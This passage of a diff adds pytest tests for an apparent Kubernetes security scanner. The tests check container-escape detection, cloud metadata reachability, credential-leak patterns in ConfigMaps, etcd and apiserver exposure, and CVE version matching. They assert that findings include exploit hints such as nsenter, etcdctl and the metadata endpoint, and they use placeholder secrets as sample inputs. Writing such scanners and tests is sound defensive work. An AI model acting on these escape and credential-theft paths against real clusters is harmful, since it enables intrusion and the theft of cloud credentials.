+def make_service_account(name="my-sa", namespace="default", annotations=None, labels=None):
+ return SimpleNamespace(
+ metadata=make_metadata(name=name, namespace=namespace,
+ annotations=annotations, labels=labels),
+ )
+
+
+def make_network_policy(name="np", namespace="default", policy_types=None,
+ select_all=True, match_labels=None):
+ pod_selector = SimpleNamespace(
+ match_labels=match_labels if not select_all else None,
+ match_expressions=None,
+ )
+ return SimpleNamespace(
+ metadata=make_metadata(name=name, namespace=namespace),
+ spec=SimpleNamespace(
+ policy_types=policy_types or [],
+ pod_selector=pod_selector,
+ ),
+ )
+
+
+def make_deployment(name="my-deploy", namespace="default", template_spec=None,
+ template_annotations=None):
+ if template_spec is None:
+ template_spec = make_pod(name="ignored", namespace=namespace).spec
+ template_meta = SimpleNamespace(
+ name=None,
+ namespace=None,
+ labels={},
+ annotations=template_annotations or {},
+ )
+ return SimpleNamespace(
+ metadata=make_metadata(name=name, namespace=namespace),
+ spec=SimpleNamespace(
+ template=SimpleNamespace(metadata=template_meta, spec=template_spec),
+ ),
+ )
+
+
+def make_cronjob(name="my-cj", namespace="default", template_spec=None):
+ if template_spec is None:
+ template_spec = make_pod(name="ignored", namespace=namespace).spec
+ job_template = SimpleNamespace(
+ spec=SimpleNamespace(
+ template=SimpleNamespace(
+ metadata=SimpleNamespace(name=None, namespace=None, labels={}, annotations={}),
+ spec=template_spec,
+ ),
+ ),
+ )
+ return SimpleNamespace(
+ metadata=make_metadata(name=name, namespace=namespace),
+ spec=SimpleNamespace(job_template=job_template),
+ )
+
+
+def make_webhook(name="wh.example.com", failure_policy="Fail",
+ timeout_seconds=5, side_effects="None", ca_bundle="abc"):
+ return SimpleNamespace(
+ name=name,
+ failure_policy=failure_policy,
+ timeout_seconds=timeout_seconds,
+ side_effects=side_effects,
+ client_config=SimpleNamespace(ca_bundle=ca_bundle, url=None, service=None),
+ )
+
+
+def make_webhook_config(name="vw-1", webhooks=None):
return SimpleNamespace(
- metadata=make_metadata(name=name),
- status=SimpleNamespace(addresses=addresses),
+ metadata=SimpleNamespace(name=name, namespace=None, labels={}, annotations={}),
+ webhooks=webhooks or [],
)
diff --git a/tests/test_cli.py b/tests/test_cli.py
new file mode 100644
index 0000000..c02e8b5
--- /dev/null
+++ b/tests/test_cli.py
@@ -0,0 +1,85 @@
+"""CLI-level tests: hygiene gating, exit codes, manifest orchestration."""
+import json
+
+import pytest
+
+from kuberoast.cli import main
+from kuberoast.utils.findings import HYGIENE_FINDING_IDS
+
+
+PRIVILEGED_POD = """\
+apiVersion: v1
+kind: Pod
+metadata:
+ name: bad
+ namespace: prod
+spec:
+ containers:
+ - name: c
+ image: app:latest
+ securityContext:
+ privileged: true
+"""
+
+
+def _write(tmp_path, text, name="m.yaml"):
+ f = tmp_path / name
+ f.write_text(text)
+ return str(tmp_path)
+
+
+def test_hygiene_hidden_by_default(tmp_path, capsys):
+ pytest.importorskip("yaml")
+ path = _write(tmp_path, PRIVILEGED_POD)
+ rc = main(["--manifests", path, "--report", "json", "--no-color"])
+ out = capsys.readouterr().out
+ data = json.loads(out)
+ ids = {f["id"] for f in data}
+ # The escape finding must be present...
+ assert "ESC-PRIV" in ids
+ # ...but hygiene lint must be filtered out by default.
+ assert ids.isdisjoint(HYGIENE_FINDING_IDS)
+ assert rc == 0
+
+
+def test_hygiene_included_with_flag(tmp_path, capsys):
+ pytest.importorskip("yaml")
+ path = _write(tmp_path, PRIVILEGED_POD)
+ main(["--manifests", path, "--report", "json", "--no-color", "--include-hygiene"])
+ out = capsys.readouterr().out
+ data = json.loads(out)
+ ids = {f["id"] for f in data}
+ # With the flag, at least one hygiene finding should reappear.
+ assert ids & HYGIENE_FINDING_IDS
+
+
+def test_fail_on_critical_returns_1(tmp_path, capsys):
+ pytest.importorskip("yaml")
+ path = _write(tmp_path, PRIVILEGED_POD)
+ rc = main(["--manifests", path, "--report", "json", "--fail-on", "critical", "--no-color"])
+ capsys.readouterr()
+ assert rc == 1
+
+
+def test_min_exploitability_filters(tmp_path, capsys):
+ pytest.importorskip("yaml")
+ path = _write(tmp_path, PRIVILEGED_POD)
+ main(["--manifests", path, "--report", "json", "--min-exploitability", "trivial", "--no-color"])
+ out = capsys.readouterr().out
+ data = json.loads(out)
+ # Every surviving finding must be 'trivial'
+ assert data # privileged escape is trivial, so something survives
+ assert all(f.get("exploitability") == "trivial" for f in data)
+
+
+def test_version_flag(capsys):
+ with pytest.raises(SystemExit) as e:
+ main(["--version"])
+ assert e.value.code == 0
+ out = capsys.readouterr().out
+ assert "kuberoast" in out
+
+
+def test_html_requires_out(capsys):
+ rc = main(["--manifests", "/nonexistent", "--report", "html"])
+ assert rc == 2
diff --git a/tests/test_cloud.py b/tests/test_cloud.py
new file mode 100644
index 0000000..4381823
--- /dev/null
+++ b/tests/test_cloud.py
@@ -0,0 +1,115 @@
+"""Tests for cloud-account pivot analysis (IMDS + workload identity)."""
+from kuberoast.scanners.cloud import scan_cloud_pivots, _detect_provider
+from tests.conftest import (
+ make_node, make_service_account, make_network_policy, make_namespace,
+)
+
+
+# ---------- provider detection ----------
+
+def test_detect_aws_from_provider_id():
+ node = make_node(provider_id="aws:///us-east-1a/i-0abc123")
+ assert _detect_provider([node]) == "aws"
+
+
+def test_detect_gcp_from_provider_id():
+ node = make_node(provider_id="gce://my-project/us-central1-a/gke-node")
+ assert _detect_provider([node]) == "gcp"
+
+
+def test_detect_azure_from_provider_id():
+ node = make_node(provider_id="azure:///subscriptions/x/resourceGroups/y/providers/Microsoft.Compute/virtualMachines/z")
+ assert _detect_provider([node]) == "azure"
+
+
+def test_detect_provider_none_when_unknown():
+ node = make_node(provider_id=None, labels={})
+ assert _detect_provider([node]) is None
+
+
+# ---------- IMDS reachability ----------
+
+def test_imds_reachable_when_no_egress_policy():
+ nodes = [make_node(provider_id="aws:///us-east-1a/i-0abc")]
+ ns = [make_namespace(name="prod")]
+ findings = scan_cloud_pivots(nodes, [], [], ns)
+ f = next(f for f in findings if f.id == "CLOUD-IMDS-REACHABLE")
+ assert f.severity == "high"
+ assert "169.254.169.254" in (f.exploit or "")
+ assert "security-credentials" in (f.exploit or "") # AWS-specific recipe
+ assert "T1552.005" in f.attack_techniques
+
+
+def test_imds_recipe_is_provider_specific_gcp():
+ nodes = [make_node(provider_id="gce://proj/zone/node")]
+ ns = [make_namespace(name="prod")]
+ findings = scan_cloud_pivots(nodes, [], [], ns)
+ f = next(f for f in findings if f.id == "CLOUD-IMDS-REACHABLE")
+ assert "Metadata-Flavor: Google" in (f.exploit or "")
+
+
+def test_imds_not_flagged_when_provider_unknown():
+ """No provider detected β we can't assert IMDS reachability, so stay quiet."""
+ nodes = [make_node(provider_id=None, labels={})]
+ ns = [make_namespace(name="prod")]
+ findings = scan_cloud_pivots(nodes, [], [], ns)
+ assert not [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"]
+
+
+def test_imds_suppressed_when_default_deny_egress_everywhere():
+ """A select-all egress NetworkPolicy in the namespace suppresses the IMDS finding for it."""
+ nodes = [make_node(provider_id="aws:///z/i-0")]
+ ns = [make_namespace(name="prod")]
+ np = make_network_policy(name="default-deny-egress", namespace="prod",
+ policy_types=["Egress"], select_all=True)
+ findings = scan_cloud_pivots(nodes, [], [np], ns)
+ assert not [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"]
+
+
+def test_imds_still_flagged_when_only_ingress_policy():
+ """An ingress-only policy doesn't constrain egress β IMDS still reachable."""
+ nodes = [make_node(provider_id="aws:///z/i-0")]
+ ns = [make_namespace(name="prod")]
+ np = make_network_policy(name="deny-ingress", namespace="prod",
+ policy_types=["Ingress"], select_all=True)
+ findings = scan_cloud_pivots(nodes, [], [np], ns)
+ assert [f for f in findings if f.id == "CLOUD-IMDS-REACHABLE"]
+
+
+# ---------- workload identity federation ----------
+
+def test_irsa_annotation_flagged():
+ sa = make_service_account(name="app", namespace="prod",
+ annotations={"eks.amazonaws.com/role-arn": "arn:aws:iam::111122223333:role/app-role"})
+ findings = scan_cloud_pivots([], [sa], [], [])
+ f = next(f for f in findings if f.id == "CLOUD-IRSA")
+ assert "arn:aws:iam::111122223333:role/app-role" in f.description
+ assert "assume-role-with-web-identity" in (f.exploit or "")
+
+
+def test_gke_workload_identity_flagged():
+ sa = make_service_account(name="app", namespace="prod",
+ annotations={"iam.gke.io/gcp-service-account": "app@proj.iam.gserviceaccount.com"})
+ findings = scan_cloud_pivots([], [sa], [], [])
+ f = next(f for f in findings if f.id == "CLOUD-GKE-WI")
+ assert "app@proj.iam.gserviceaccount.com" in f.description
+
+
+def test_azure_workload_identity_via_annotation():
+ sa = make_service_account(name="app", namespace="prod",
+ annotations={"azure.workload.identity/client-id": "00000000-0000-0000-0000-000000000000"})
+ findings = scan_cloud_pivots([], [sa], [], [])
+ assert [f for f in findings if f.id == "CLOUD-AZURE-WI"]
+
+
+def test_azure_workload_identity_via_label():
+ sa = make_service_account(name="app", namespace="prod",
+ labels={"azure.workload.identity/use": "true"})
+ findings = scan_cloud_pivots([], [sa], [], [])
+ assert [f for f in findings if f.id == "CLOUD-AZURE-WI"]
+
+
+def test_plain_serviceaccount_not_flagged():
+ sa = make_service_account(name="boring", namespace="prod")
+ findings = scan_cloud_pivots([], [sa], [], [])
+ assert findings == []
diff --git a/tests/test_configmaps.py b/tests/test_configmaps.py
new file mode 100644
index 0000000..d2260c3
--- /dev/null
+++ b/tests/test_configmaps.py
@@ -0,0 +1,119 @@
+"""Tests for ConfigMap credential hunting.
+
+Focus: high-signal regexes that catch real-world leaks without false
+positives on legitimate config.
+"""
+from kuberoast.scanners.configmaps import scan_configmaps
+from tests.conftest import make_configmap
+
+
+def test_aws_access_key_critical():
+ cm = make_configmap(data={"app.env": "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE"})
+ f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-AWS-AKID")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+
+
+def test_pem_private_key_critical():
+ cm = make_configmap(data={"tls.key": "-----BEGIN RSA PRIVATE KEY-----\nMIIBOgI...\n-----END RSA PRIVATE KEY-----"})
+ ids = {f.id for f in scan_configmaps([cm])}
+ assert "CM-LEAK-PRIVATE-KEY-PEM" in ids
+
+
+def test_openssh_private_key_critical():
+ cm = make_configmap(data={"id_rsa": "-----BEGIN OPENSSH PRIVATE KEY-----\nblob\n-----END OPENSSH PRIVATE KEY-----"})
+ ids = {f.id for f in scan_configmaps([cm])}
+ # Either openssh-specific or generic PEM pattern can fire β both are correct.
+ assert "CM-LEAK-SSH-PRIVATE" in ids or "CM-LEAK-PRIVATE-KEY-PEM" in ids
+
+
+def test_gcp_service_account_json_critical():
+ cm = make_configmap(data={"sa.json": '{"type": "service_account", "project_id": "x"}'})
+ f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-GCP-SA-JSON")
+ assert f.severity == "critical"
+
+
+def test_github_pat_high():
+ cm = make_configmap(data={"ci.env": "GITHUB_TOKEN=ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"})
+ f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-GITHUB-PAT")
+ assert f.severity == "high"
+
+
+def test_slack_bot_token_high():
+ cm = make_configmap(data={"notify.env": "SLACK_TOKEN=xoxb-1234567890-abcdefghijk"})
+ f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-SLACK-BOT")
+ assert f.severity == "high"
+
+
+def test_jdbc_url_with_creds_high():
+ cm = make_configmap(data={"app.props": "spring.datasource.url=jdbc:postgresql://db:5432/app?user=root&password=hunter2\njdbc:mysql://user:hunter2@host/db"})
+ f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-JDBC-URL")
+ assert f.severity == "high"
+
+
+def test_url_with_inline_credentials():
+ cm = make_configmap(data={"env": "WEBHOOK=https://user:supersecret123@example.com/hook"})
+ ids = {f.id for f in scan_configmaps([cm])}
+ assert "CM-LEAK-GENERIC-URL" in ids
+
+
+def test_plain_password_yaml_flagged():
+ cm = make_configmap(data={"app.yaml": "database:\n password: hunter2supersecret\n"})
+ ids = {f.id for f in scan_configmaps([cm])}
+ assert "CM-LEAK-PASSWORD-YAML" in ids
+
+
+def test_apikey_flagged():
+ cm = make_configmap(data={"app.yaml": "service:\n api_key: aabbccddeeff112233445566\n"})
+ ids = {f.id for f in scan_configmaps([cm])}
+ assert "CM-LEAK-APIKEY" in ids
+
+
+def test_azure_connection_string_high():
+ cm = make_configmap(data={"app.env": "AZ=DefaultEndpointsProtocol=https;AccountName=x;AccountKey=" + "a" * 40 + ";"})
+ f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-AZURE-CONN")
+ assert f.severity == "high"
+
+
+def test_redacts_long_match():
+ """Findings must NOT echo the entire credential β only a redacted snippet."""
+ big = "x" * 200
+ cm = make_configmap(data={"app.env": f"GITHUB_TOKEN=ghp_{big[:36]}"})
+ findings = scan_configmaps([cm])
+ pat = next(f for f in findings if f.id == "CM-LEAK-GITHUB-PAT")
+ # Description shows a snippet but not the entire token sequence
+ assert "ghp_" in pat.description
+ assert "β¦" in pat.description # ellipsis indicates redaction
+
+
+def test_system_kube_root_ca_skipped():
+ """The auto-generated kube-root-ca.crt ConfigMap is benign β skip it."""
+ cm = make_configmap(name="kube-root-ca.crt", data={"ca.crt": "-----BEGIN CERTIFICATE-----\n..."})
+ assert scan_configmaps([cm]) == []
+
+
+def test_no_credential_no_finding():
+ cm = make_configmap(data={"log_level": "info", "feature_flag": "true"})
+ assert scan_configmaps([cm]) == []
+
+
+def test_binarydata_with_suspicious_key_name_flagged():
+ cm = make_configmap(binary_data={"private_key": "YmFzZTY0"})
+ f = next(f for f in scan_configmaps([cm]) if f.id == "CM-LEAK-BINARY-SUSPECT")
+ assert f.severity == "medium"
+
+
+def test_binarydata_benign_name_not_flagged():
+ cm = make_configmap(binary_data={"thumbnail.png": "YmFzZTY0"})
+ ids = {f.id for f in scan_configmaps([cm])}
+ assert "CM-LEAK-BINARY-SUSPECT" not in ids
+
+
+def test_one_finding_per_pattern_per_key():
+ """Don't spam multiple findings of the same type for the same key."""
+ # Two valid-shape AKIDs (AKIA + 16 alnum) in one value should yield one finding
+ big = "AKIAIOSFODNN7EXAMPLE something AKIAIOSFODNN7EXAMPL2"
+ cm = make_configmap(data={"creds": big})
+ findings = scan_configmaps([cm])
+ aws = [f for f in findings if f.id == "CM-LEAK-AWS-AKID"]
+ assert len(aws) == 1
diff --git a/tests/test_controlplane.py b/tests/test_controlplane.py
new file mode 100644
index 0000000..a127627
--- /dev/null
+++ b/tests/test_controlplane.py
@@ -0,0 +1,118 @@
+"""Tests for control-plane exposure probes (etcd / insecure apiserver).
+
+We monkeypatch the TCP and HTTP primitives (imported into the
+controlplane namespace) so no real sockets are opened β the focus is the
+decision logic and the finding content.
+"""
+import pytest
+
+from kuberoast.scanners import controlplane as cp
+from kuberoast.scanners.controlplane import (
+ scan_control_plane, _control_plane_targets, _probe_etcd, _probe_insecure_apiserver,
+)
+from tests.conftest import make_node
+
+
+def _patch(monkeypatch, open_ports, routes):
+ """open_ports: set of ints. routes: dict substring->(status, body)."""
+ monkeypatch.setattr(cp, "_tcp_open", lambda ip, port, timeout=1.5: port in open_ports)
+
+ def fake_http(url, **kw):
+ for sub, resp in routes.items():
+ if sub in url:
+ return resp
+ return (-1, "")
+ monkeypatch.setattr(cp, "_http_get", fake_http)
+
+
+# ---------- etcd ----------
+
+def test_etcd_noauth_critical(monkeypatch):
+ _patch(monkeypatch, {2379}, {":2379/version": (200, '{"etcdserver":"3.5.9","etcdcluster":"3.5.0"}')})
+ findings = _probe_etcd("cp-0", "10.0.0.5")
+ f = next(f for f in findings if f.id == "CP-ETCD-NOAUTH")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+ assert "etcdctl" in (f.exploit or "")
+ assert "T1552.007" in f.attack_techniques
+
+
+def test_etcd_reachable_but_auth_enforced(monkeypatch):
+ # TCP open, but /version doesn't return 200 (client-cert auth β TLS rejects us)
+ _patch(monkeypatch, {2379}, {})
+ findings = _probe_etcd("cp-0", "10.0.0.5")
+ ids = {f.id for f in findings}
+ assert "CP-ETCD-REACHABLE" in ids
+ assert "CP-ETCD-NOAUTH" not in ids
+ assert next(f for f in findings if f.id == "CP-ETCD-REACHABLE").severity == "high"
+
+
+def test_etcd_peer_port_flagged(monkeypatch):
+ _patch(monkeypatch, {2379, 2380}, {})
+ findings = _probe_etcd("cp-0", "10.0.0.5")
+ assert "CP-ETCD-PEER" in {f.id for f in findings}
+
+
+def test_etcd_closed_no_findings(monkeypatch):
+ _patch(monkeypatch, set(), {})
+ assert _probe_etcd("cp-0", "10.0.0.5") == []
+
+
+def test_etcd_plain_http(monkeypatch):
+ """Some clusters expose etcd over plain HTTP β also a CP-ETCD-NOAUTH."""
+ _patch(monkeypatch, {2379}, {"http://10.0.0.5:2379/version": (200, '{"etcdserver":"3.4.0"}')})
+ # https attempt returns -1, http attempt returns 200
+ findings = _probe_etcd("cp-0", "10.0.0.5")
+ assert "CP-ETCD-NOAUTH" in {f.id for f in findings}
+
+
+# ---------- insecure apiserver ----------
+
+def test_insecure_apiserver_critical(monkeypatch):
+ _patch(monkeypatch, {8080}, {":8080/api": (200, '{"kind":"APIVersions","versions":["v1"]}')})
+ findings = _probe_insecure_apiserver("cp-0", "10.0.0.5")
+ f = next(f for f in findings if f.id == "CP-APISERVER-INSECURE")
+ assert f.severity == "critical"
+ assert "system:anonymous" in (f.exploit or "") or "cluster-admin" in (f.exploit or "")
+
+
+def test_port_8080_open_but_not_apiserver(monkeypatch):
+ _patch(monkeypatch, {8080}, {":8080/api": (404, "")})
+ findings = _probe_insecure_apiserver("cp-0", "10.0.0.5")
+ f = next(f for f in findings if f.id == "CP-PORT-8080-OPEN")
+ assert f.severity == "low"
+
+
+def test_apiserver_port_closed(monkeypatch):
+ _patch(monkeypatch, set(), {})
+ assert _probe_insecure_apiserver("cp-0", "10.0.0.5") == []
+
+
+# ---------- target selection ----------
+
+def test_targets_prefer_control_plane_nodes():
+ cp_node = make_node(name="master", labels={"node-role.kubernetes.io/control-plane": ""},
+ addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.1")])
+ worker = make_node(name="worker", labels={},
+ addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.2")])
+ targets = _control_plane_targets([cp_node, worker])
+ assert ("master", "10.0.0.1") in targets
+ assert ("worker", "10.0.0.2") not in targets
+
+
+def test_targets_fallback_to_all_when_unlabeled():
+ worker = make_node(name="worker", labels={},
+ addresses=[__import__("types").SimpleNamespace(type="InternalIP", address="10.0.0.2")])
+ targets = _control_plane_targets([worker])
+ assert ("worker", "10.0.0.2") in targets
+
+
+def test_scan_control_plane_no_nodes():
+ assert scan_control_plane([]) == []
+
+
+def test_scan_control_plane_end_to_end(monkeypatch):
+ _patch(monkeypatch, {2379}, {":2379/version": (200, '{"etcdserver":"3.5.9"}')})
+ node = make_node(name="master", labels={"node-role.kubernetes.io/control-plane": ""})
+ findings = scan_control_plane([node])
+ assert "CP-ETCD-NOAUTH" in {f.id for f in findings}
diff --git a/tests/test_cve.py b/tests/test_cve.py
new file mode 100644
index 0000000..1d18e7c
--- /dev/null
+++ b/tests/test_cve.py
@@ -0,0 +1,169 @@
+"""Tests for versionβCVE correlation."""
+from kuberoast.scanners.cve import scan_cve, find_ingress_images
+from kuberoast.utils import versions as V
+from tests.conftest import make_node, make_pod, make_container, make_deployment
+
+
+# ---------- version parsing ----------
+
+def test_parse_plain_version():
+ assert V.parse_version("v1.27.3") == (1, 27, 3)
+
+
+def test_parse_version_with_distro_suffix():
+ assert V.parse_version("v1.27.3-eks-a5565ad") == (1, 27, 3)
+
+
+def test_parse_runtime():
+ assert V.parse_runtime("containerd://1.6.21") == ("containerd", (1, 6, 21))
+ assert V.parse_runtime("docker://20.10.7") == ("docker", (20, 10, 7))
+
+
+def test_parse_image_tag():
+ repo, ver = V.parse_image_tag("registry.k8s.io/ingress-nginx/controller:v1.9.4")
+ assert ver == (1, 9, 4)
+
+
+def test_parse_image_tag_with_port_no_tag():
+ repo, ver = V.parse_image_tag("myregistry:5000/foo/bar")
+ assert ver is None
+
+
+def test_parse_image_digest_only():
+ repo, ver = V.parse_image_tag("foo/bar@sha256:abcd")
+ assert ver is None
+
+
+# ---------- runc CVEs ----------
+
+def test_runc_leaky_vessels_flagged():
+ node = make_node(name="n1", container_runtime_version="containerd://1.6.21")
+ # containerd 1.6.21 bundles runc; we key the runc CVE on runtime:runc, so use a runc runtime string
+ node_runc = make_node(name="n2", container_runtime_version="runc://1.1.9")
+ findings = scan_cve(nodes=[node_runc])
+ ids = {f.id for f in findings}
+ assert "CVE-2024-21626" in ids
+ f = next(f for f in findings if f.id == "CVE-2024-21626")
+ assert f.severity == "critical"
+ assert f.metadata.get("version") == "runc://1.1.9"
+
+
+def test_runc_patched_not_flagged():
+ node = make_node(name="n", container_runtime_version="runc://1.1.12")
+ findings = scan_cve(nodes=[node])
+ assert "CVE-2024-21626" not in {f.id for f in findings}
+
+
+def test_runc_5736_old_version():
+ node = make_node(name="n", container_runtime_version="runc://0.1.1")
+ findings = scan_cve(nodes=[node])
+ assert "CVE-2019-5736" in {f.id for f in findings}
+
+
+# ---------- containerd ----------
+
+def test_containerd_shim_cve():
+ node = make_node(name="n", container_runtime_version="containerd://1.4.2")
+ findings = scan_cve(nodes=[node])
+ assert "CVE-2020-15257" in {f.id for f in findings}
+
+
+def test_containerd_patched():
+ node = make_node(name="n", container_runtime_version="containerd://1.6.21")
+ findings = scan_cve(nodes=[node])
+ assert "CVE-2020-15257" not in {f.id for f in findings}
+
+
+# ---------- kube-apiserver / kubelet ----------
+
+def test_apiserver_proxy_cve_old_server():
+ findings = scan_cve(server_version="v1.9.0")
+ f = next(f for f in findings if f.id == "CVE-2018-1002105")
+ assert f.severity == "critical"
+ assert f.metadata.get("epss") is not None
+
+
+def test_apiserver_proxy_cve_on_1_11_line():
+ findings = scan_cve(server_version="v1.11.2")
+ assert "CVE-2018-1002105" in {f.id for f in findings}
+
+
+def test_apiserver_proxy_cve_fixed_in_1_12_3():
+ findings = scan_cve(server_version="v1.12.3")
+ assert "CVE-2018-1002105" not in {f.id for f in findings}
+
+
+def test_modern_server_no_apiserver_cve():
+ findings = scan_cve(server_version="v1.29.1")
+ assert "CVE-2018-1002105" not in {f.id for f in findings}
+
+
+def test_subpath_cve_on_old_kubelet():
+ node = make_node(name="n", kubelet_version="v1.20.5")
+ findings = scan_cve(nodes=[node])
+ assert "CVE-2021-25741" in {f.id for f in findings}
+
+
+# ---------- kernel (KEV) ----------
+
+def test_kernel_fsconfig_kev_flagged():
+ node = make_node(name="n", kernel_version="5.15.0-1031-aws")
+ findings = scan_cve(nodes=[node])
+ f = next(f for f in findings if f.id == "CVE-2022-0185")
+ assert f.metadata.get("kev") == "true"
+ assert "verify" in (f.description or "").lower() # backport caveat present
+
+
+def test_modern_kernel_no_fsconfig():
+ node = make_node(name="n", kernel_version="6.9.0-generic")
+ findings = scan_cve(nodes=[node])
+ assert "CVE-2022-0185" not in {f.id for f in findings}
+
+
+# ---------- ingress-nginx ----------
+
+def test_ingress_nightmare_flagged():
+ findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.11.0", "deployment/ingress-nginx-controller")])
+ f = next(f for f in findings if f.id == "CVE-2025-1974")
+ assert f.severity == "critical"
+ assert "0.91" in f.description or f.metadata.get("epss")
+
+
+def test_ingress_nightmare_patched():
+ findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.12.1", "deployment/ic")])
+ assert "CVE-2025-1974" not in {f.id for f in findings}
+
+
+def test_ingress_1_11_5_patched():
+ findings = scan_cve(ingress_images=[("registry.k8s.io/ingress-nginx/controller:v1.11.5", "deployment/ic")])
+ assert "CVE-2025-1974" not in {f.id for f in findings}
+
+
+# ---------- finder + de-dup ----------
+
+def test_find_ingress_images_from_pod():
+ c = make_container(name="controller", image="registry.k8s.io/ingress-nginx/controller:v1.9.4")
+ pod = make_pod(name="ingress-nginx-controller-abc", namespace="ingress-nginx", containers=[c])
+ images = find_ingress_images([pod], [])
+ assert images
+ assert images[0][0].endswith("v1.9.4")
+
+
+def test_find_ingress_images_from_deployment():
+ c = make_container(name="controller", image="registry.k8s.io/ingress-nginx/controller:v1.9.4")
+ template = make_pod(containers=[c]).spec
+ deploy = make_deployment(name="ingress-nginx-controller", namespace="ingress-nginx", template_spec=template)
+ images = find_ingress_images([], [deploy])
+ assert images
+
+
+def test_no_versions_no_findings():
+ assert scan_cve() == []
+
+
+def test_unaffected_everything_clean():
+ node = make_node(name="n", kubelet_version="v1.29.3",
+ container_runtime_version="containerd://1.7.13",
+ kernel_version="6.9.1-generic")
+ findings = scan_cve(server_version="v1.29.3", nodes=[node])
+ assert findings == []
diff --git a/tests/test_escapes.py b/tests/test_escapes.py
new file mode 100644
index 0000000..d221522
--- /dev/null
+++ b/tests/test_escapes.py
@@ -0,0 +1,227 @@
+"""Tests for container escape primitive analysis.
+
+These tests are oriented around what an attacker actually does, not what
+fields exist. Each test mirrors a real escape technique and asserts both
+the finding ID and that the PoC command is populated (operators need it).
+"""
+from kuberoast.scanners.escapes import scan_escapes
+from tests.conftest import (
+ make_pod, make_container, make_host_path_volume, make_volume_mount,
+)
+
+
+# ---------- Privileged container escapes ----------
+
+def test_privileged_plus_hostpid_is_critical_trivial():
+ pod = make_pod(
+ containers=[make_container(privileged=True)],
+ host_pid=True,
+ )
+ findings = scan_escapes(pod)
+ f = next(f for f in findings if f.id == "ESC-PRIV-HOSTPID")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+ assert "nsenter" in (f.exploit or "")
+ assert "T1611" in f.attack_techniques
+
+
+def test_privileged_plus_hostpid_skips_lesser_findings():
+ """Once privileged+hostPID is flagged, no need to also flag ESC-PRIV separately β it short-circuits to keep noise down."""
+ pod = make_pod(
+ containers=[make_container(privileged=True)],
+ host_pid=True,
+ )
+ ids = {f.id for f in scan_escapes(pod)}
+ assert "ESC-PRIV-HOSTPID" in ids
+ assert "ESC-PRIV" not in ids
+
+
+def test_privileged_only_still_critical():
+ pod = make_pod(containers=[make_container(privileged=True)])
+ findings = scan_escapes(pod)
+ f = next(f for f in findings if f.id == "ESC-PRIV")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+ assert f.exploit and "mount" in f.exploit
+
+
+def test_non_privileged_no_escape_flagged():
+ pod = make_pod(containers=[make_container(privileged=False)])
+ ids = {f.id for f in scan_escapes(pod)}
+ assert "ESC-PRIV" not in ids
+ assert "ESC-PRIV-HOSTPID" not in ids
+
+
+# ---------- Capability-based escapes ----------
+
+def test_sys_admin_critical_with_exploit():
+ pod = make_pod(containers=[make_container(caps_add=["SYS_ADMIN"])])
+ findings = scan_escapes(pod)
+ f = next(f for f in findings if f.id == "ESC-CAP-SYS_ADMIN")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+ assert f.exploit
+
+
+def test_sys_module_critical():
+ pod = make_pod(containers=[make_container(caps_add=["SYS_MODULE"])])
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_MODULE")
+ assert f.severity == "critical"
+ assert "insmod" in (f.exploit or "")
+
+
+def test_sys_ptrace_without_hostpid_is_hard():
+ """SYS_PTRACE without hostPID can only ptrace in-container processes β hard to escape."""
+ pod = make_pod(
+ containers=[make_container(caps_add=["SYS_PTRACE"])],
+ host_pid=False,
+ )
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_PTRACE")
+ assert f.exploitability == "hard"
+ assert f.severity == "medium"
+
+
+def test_sys_ptrace_with_hostpid_is_easy():
+ pod = make_pod(
+ containers=[make_container(caps_add=["SYS_PTRACE"])],
+ host_pid=True,
+ )
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-CAP-SYS_PTRACE")
+ assert f.exploitability == "easy"
+
+
+def test_unrelated_capability_not_flagged():
+ pod = make_pod(containers=[make_container(caps_add=["CHOWN", "FOWNER"])])
+ ids = {f.id for f in scan_escapes(pod)}
+ assert "ESC-CAP-CHOWN" not in ids
+
+
+# ---------- hostPath escapes ----------
+
+def test_docker_socket_mount_trivial_critical():
+ pod = make_pod(
+ volumes=[make_host_path_volume(path="/var/run/docker.sock")],
+ )
+ findings = scan_escapes(pod)
+ f = next(f for f in findings if f.id == "ESC-HOSTPATH-SENSITIVE")
+ assert f.severity == "critical"
+ assert f.exploitability == "trivial"
+ assert "docker" in (f.exploit or "").lower()
+
+
+def test_containerd_socket_mount_trivial_critical():
+ pod = make_pod(
+ volumes=[make_host_path_volume(path="/var/run/containerd/containerd.sock")],
+ )
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE")
+ assert f.severity == "critical"
+ assert "ctr" in (f.exploit or "")
+
+
+def test_root_hostpath_critical():
+ pod = make_pod(volumes=[make_host_path_volume(path="/")])
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE")
+ assert f.severity == "critical"
+
+
+def test_kubelet_state_dir_prefix_match():
+ """Subpaths of sensitive dirs should still match (e.g. /var/lib/kubelet/pods/abc/...)."""
+ pod = make_pod(
+ volumes=[make_host_path_volume(path="/var/lib/kubelet/pods/abc-123")],
+ )
+ f = next(f for f in scan_escapes(pod) if f.id == "ESC-HOSTPATH-SENSITIVE")
+ assert "kubelet" in (f.description or "").lower() or "kubelet" in (f.impact or "").lower()
+
+
+def test_etc_kubernetes_hostpath():
+ pod = make_pod(volumes=[make_host_path_volume(path="/etc/kubernetes")])
